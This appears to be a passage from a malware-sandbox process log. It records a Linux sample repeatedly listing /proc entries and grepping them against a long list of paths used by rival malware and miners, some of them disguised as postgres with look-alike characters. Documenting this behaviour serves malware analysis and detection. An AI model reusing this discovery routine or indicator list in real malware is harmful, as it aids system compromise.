  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1261
- /bin/grep
  grep exe
  2⤵
  PID:1265
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1264
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1267
- /bin/grep
  grep exe
  2⤵
  PID:1271
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1270
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1274
- /bin/grep
  grep exe
  2⤵
  PID:1277
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1276
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1280
- /bin/grep
  grep exe
  2⤵
  PID:1284
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1283
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1286
- /bin/grep
  grep exe
  2⤵
  PID:1290
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1289
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1293
- /bin/grep
  grep exe
  2⤵
  PID:1296
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1295
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1299
- /bin/grep
  grep exe
  2⤵
  PID:1303
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1302
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1305
- /bin/grep
  grep exe
  2⤵
  PID:1309
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1308
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1312
- /bin/grep
  grep exe
  2⤵
  PID:1315
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1314
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1318
- /bin/grep
  grep exe
  2⤵
  PID:1322
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1321
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1324
- /bin/grep
  grep exe
  2⤵
  PID:1328
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1327
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1331
- /bin/grep
  grep exe
  2⤵
  PID:1334
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1333
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1337
- /bin/grep
  grep exe
  2⤵
  PID:1341
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1340
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1343
- /bin/grep
  grep exe
  2⤵
  PID:1346
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1345
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1348
- /bin/grep
  grep exe
  2⤵
  PID:1351
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1350
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1353
- /bin/grep
  grep exe
  2⤵
  PID:1356
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1355
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1358
- /bin/grep
  grep exe
  2⤵
  PID:1361
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1360
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1363
- /bin/grep
  grep exe
  2⤵
  PID:1366
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1365
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1368
- /bin/grep
  grep exe
  2⤵
  PID:1371
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1370
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1373
- /bin/grep
  grep exe
  2⤵
  PID:1376
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1375
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1378
- /bin/grep
  grep exe
  2⤵
  PID:1381
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1380
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1383
- /bin/grep
  grep exe
  2⤵
  PID:1386
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1385
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1388
- /bin/grep
  grep exe
  2⤵
  PID:1391
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1390
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1393
- /bin/grep
  grep exe
  2⤵
  PID:1396
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1395
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1398
- /bin/grep
  grep exe
  2⤵
  PID:1401
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1400
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1403
- /bin/grep
  grep exe
  2⤵
  PID:1406
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1405
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1411
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1410
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1413
- /bin/grep
  grep exe
  2⤵
  PID:1416
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1415
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1418
- /bin/grep
  grep exe
  2⤵
  PID:1421
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1420
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1423
- /bin/grep
  grep exe
  2⤵
  PID:1426
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1425
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1428
- /bin/grep
  grep exe
  2⤵
  PID:1431
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1430
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1433
- /bin/grep
  grep exe
  2⤵
  PID:1436
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1435
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1438
- /bin/grep
  grep exe
  2⤵
  PID:1441
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1440
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1443
- /bin/grep
  grep exe
  2⤵
  PID:1446
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1445
- /bin/grep
